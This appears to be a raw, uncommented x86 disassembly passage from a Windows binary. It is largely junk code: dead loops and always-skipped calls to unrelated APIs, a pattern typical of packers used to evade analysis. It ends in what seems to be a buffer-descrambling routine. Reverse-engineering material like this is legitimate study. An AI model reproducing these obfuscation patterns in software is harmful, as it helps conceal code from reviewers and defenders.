inc ecx
inc dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
xor ecx, ecx
imul edx, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x40]
cmp edx, eax
mov eax, dword [ebp - 8]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
dec dword [ebp - 0x14]
jns 0x4299e0
mov eax, dword [ebp - 8]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp eax, 4
mov eax, dword [ebp - 0xc]
setne cl
xor edx, edx
cmp ecx, 0xbb76
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x28], eax
jmp 0x429ad5
xor edx, edx
mov byte [ebp - 1], dl
cmp byte [ebp - 1], dl
je 0x429ad7
push 0x27d
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor edx, edx
mov eax, dword [ebp - 0x2c]
add ebx, edi
inc eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], eax
cmp eax, dword [ebp - 0x30]
jl 0x4295b4
mov dword [ebp - 0xc], edx
jmp 0x429b02
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x154], 0xfffffff9
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x429af1
push 3
mov dword [ebp - 0xc], edx
pop ecx
jmp 0x429b21
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xdc], 0x7a4a12b5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x429b10
xor edi, edi
inc edi
mov dword [ebp - 0xdc], edi
cmp dword [ebp - 0xdc], edx
jl 0x429b57
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429b4f
push edx
push 0x1e1b
push edx
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
xor edx, edx
dec dword [ebp - 0xdc]
jns 0x429b37
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429b69
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor edx, edx
mov esi, dword [ebx]
mov dword [ebp - 0x14], 0x5fa2ef7
mov dword [ebp - 0xc], 0xd0811fc8
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x18], 0xc1094d0e
mov dword [ebp - 0x2c], 0xffffffff
push 3
mov dword [ebp - 8], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], edx
pop ecx
jmp 0x429bb7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x68], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x429bad
mov dword [ebp - 0x64], edx
cmp dword [ebp - 0x64], 0xfffffffe
jle 0x429c8d
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0x28], 0xa6c6
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb0], eax
test eax, eax
jne 0x429c5c
mov eax, dword [ebp - 0xb0]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0xbc]
cmp eax, ecx
mov ecx, edi
setl dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb8]
sub ecx, eax
mov eax, dword [ebp - 0x14]
add eax, ecx
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setl cl
xor edx, edx
cmp ecx, eax
setne dl
mov dword [ebp - 0xa4], edx
test edx, edx
je 0x429c5e
mov edx, edi
mov eax, dword [ebp - 0x68]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x68]
push 3
setne cl
xor edx, edx
cmp ecx, 0x6559
pop ecx
setle dl
add eax, edx
mov dword [ebp - 0x18], eax
dec dword [ebp - 0x64]
cmp dword [ebp - 0x64], 0xfffffffe
jg 0x429bc9
xor edx, edx
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
jne 0x429ca2
mov ecx, edx
cmp dword [ebp - 0xa4], edx
je 0x429ca4
mov ecx, edi
mov eax, dword [ebp - 0x18]
add eax, ecx
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x68]
cmp eax, 3
mov eax, dword [ebp - 0x2c]
setge cl
sub ecx, eax
je 0x429d69
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x30], 0x584e2bba
mov dword [ebp - 0x28], 0xc0978c76
mov dword [ebp - 0x28], 0xb20e9505
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429cf1
push edx
call dword [sym.imp.USER32.dll_CreateIconIndirect]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setle dl
xor edi, edi
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], 0xbb218ad3
jbe 0x429d1f
cmp dword [ebp - 0xac], edi
je 0x429d1f
xor edx, edx
inc edx
jmp 0x429d21
mov edx, edi
mov eax, dword [ebp - 0xac]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x2c]
jle 0x429d3f
cmp dword [ebp - 0xc], edi
jne 0x429d3f
mov eax, edi
xor edi, edi
inc edi
jmp 0x429d44
xor edi, edi
inc edi
mov eax, edi
shl eax, 2
xor ecx, ecx
mov dword [ebp - 0x28], eax
push 0xfffffffffffffffc
pop edx
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x20]
cmp eax, edx
setle cl
sub ecx, eax
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
jmp 0x429dd4
mov dword [ebp - 0x14], edx
jmp 0x429dce
mov dword [ebp - 0x18], 0x12
jmp 0x429dc5
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0x11
jl 0x429dad
push 3
pop ecx
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0xc], edx
jmp 0x429d9f
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0xac]
mov dword [ebp - 0x28], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jle 0x429d8f
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x11
jge 0x429d83
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429dc2
push edx
push edi
push edi
push edx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
xor edx, edx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe3
jg 0x429d77
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffea
jle 0x429d6e
add ebx, 4
mov dword [ebp - 0x30], 0xdb8e9646
xor edx, edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], edx
jmp 0x429df6
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x4c], 0x648261f
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x429de8
mov byte [ebp - 1], dl
cmp byte [ebp - 1], dl
je 0x429e0c
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor edx, edx
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], 0x13
jge 0x429f8f
push 3
pop ecx
mov dword [ebp - 0x10], 0xe446df37
mov dword [ebp - 0xc], 0xfffffffa
mov dword [ebp - 8], edx
jmp 0x429e40
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xcc], 0x9ed9
inc dword [ebp - 8]
cmp dword [ebp - 8], ecx
jl 0x429e2f
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 6
je 0x429f79
mov dword [ebp - 8], 0x285faafe
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 2
jg 0x429f69
mov dword [ebp - 0x14], 0x4c59
mov dword [ebp - 0x14], 0x2df3d37a
cmp dword [ebp - 0x14], edx
je 0x429f4a
mov dword [ebp - 0x14], edx
jmp 0x429f3e
mov dword [ebp - 0x24], 0xb972
dec dword [ebp - 0x24]
mov dword [ebp - 0xc], edx
jmp 0x429f31
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429eb6
push 0x1d7c
push 0x159
push 0x1d2
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc]
neg esi
sbb esi, esi
xor ecx, ecx
neg esi
mov edx, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x24]
cmp esi, eax
mov eax, dword [ebp - 0xcc]
setg cl
xor ebx, ebx
sub edx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xc]
setne bl
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x24]
cmp ebx, eax
setl cl
imul edx, ecx
test edx, edx
jne 0x429f09
cmp dword [ebp - 0x14], edx
jne 0x429f0b
mov eax, edx
jmp 0x429f0d
xor edx, edx
mov eax, edi
cmp dword [ebp - 8], eax
jg 0x429f19
mov ecx, edx
cmp dword [ebp - 0x30], edx
je 0x429f1b
mov ecx, edi
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0xcc]
imul eax, dword [ebp - 8]
sub eax, ecx
mov dword [ebp - 0x30], eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jle 0x429e97
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x429e85
jmp 0x429f59
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
je 0x429f59
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
push 0
pop edx
jle 0x429e66
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
jne 0x429e52
push 3
pop ecx
mov eax, dword [ebp - 0x4c]
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x13
jl 0x429e1c
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebx]
or eax, 0xffffffff
mov dword [ebp - 0x8c], eax
add ebx, 4
mov dword [ebp - 0x88], eax
xor ecx, ecx
mov dword [ebp - 0x84], eax
inc ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x3c], 0xfff7
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], edx
jmp 0x429fcf
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x48], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x429fc5
mov dword [ebp - 0xc], edx
jmp 0x429fea
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xf0], 0x40cabdbf
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x429fd9
push 3
pop eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], edx
jl 0x42a1b4
push eax
xor ebx, ebx
pop ecx
mov dword [ebp - 0x14], 0xfffffff6
mov dword [ebp - 0x14], edx
jmp 0x42a19c
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x8c], edx
je 0x42a048
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x48], edx
je 0x42a16d
mov dword [ebp - 8], 0xdd2eb2fc
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], edx
jl 0x42a196
mov dword [ebp - 0xc], 0x55073046
mov dword [ebp - 0x10], edx
jmp 0x42a081
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x174], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x42a070
mov dword [ebp - 0xc], edx
jmp 0x42a159
mov byte [ebp - 1], dl
cmp byte [ebp - 1], bl
je 0x42a18f
push edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 3
xor edx, edx
pop ecx
mov dword [ebp - 0x30], 0x9b1cc8ff
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x42a012
dec dword [ebp - 0x48]
jns 0x42a003
mov ebx, dword [ebp - 0x18]
xor ecx, ecx
inc ecx
test edi, edi
jne 0x42a292
cmp byte [ebp - 0x35], 0
je 0x42a1d0
cmp dword [ebp - 0x34], ecx
jne 0x42a1d0
mov ecx, dword [ebp + 8]
lea eax, [esi + 0x10]
add dword [ecx + 8], eax
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ebx]
push esi
mov eax, dword [ecx + 4]
add ecx, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], ecx
call fcn.0046b8b5
mov edi, eax
xor eax, eax
pop ecx
mov dword [ebp - 0xc0], eax
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0xc0]
push eax
push esi
mov dword [ebp - 0x3c], edi
call fcn.004518cd
xor ecx, ecx
test esi, esi
mov esi, dword [ebp - 0xe8]
jle 0x42a27a
mov eax, ecx
and eax, 0x80000001
jns 0x42a234
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, ebx
add eax, ecx
add eax, ebx
imul eax, dword [ebp - 0x28]
cdq
idiv dword [ebp - 0x1c]
xor eax, eax
cmp word [esi + edx*2], ax
je 0x42a260
xor edi, edi
lea eax, [edx + 1]
cdq
idiv dword [ebp - 0x1c]
cmp word [esi + edx*2], di
jne 0x42a250
mov edi, dword [ebp - 0x3c]
xor eax, eax
inc eax
mov word [esi + edx*2], ax
mov eax, dword [ebp - 0x18]
mov al, byte [edx + eax]
mov byte [ecx + edi], al
inc ecx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
jl 0x42a226
jmp 0x42a27d
mov eax, dword [ebp - 0x1c]
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
mov dword [ebx + 4], edi
test esi, esi
je 0x42a295
push esi
call fcn.0046cda6
pop ecx
jmp 0x42a295
mov ebx, dword [ebp + 8]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret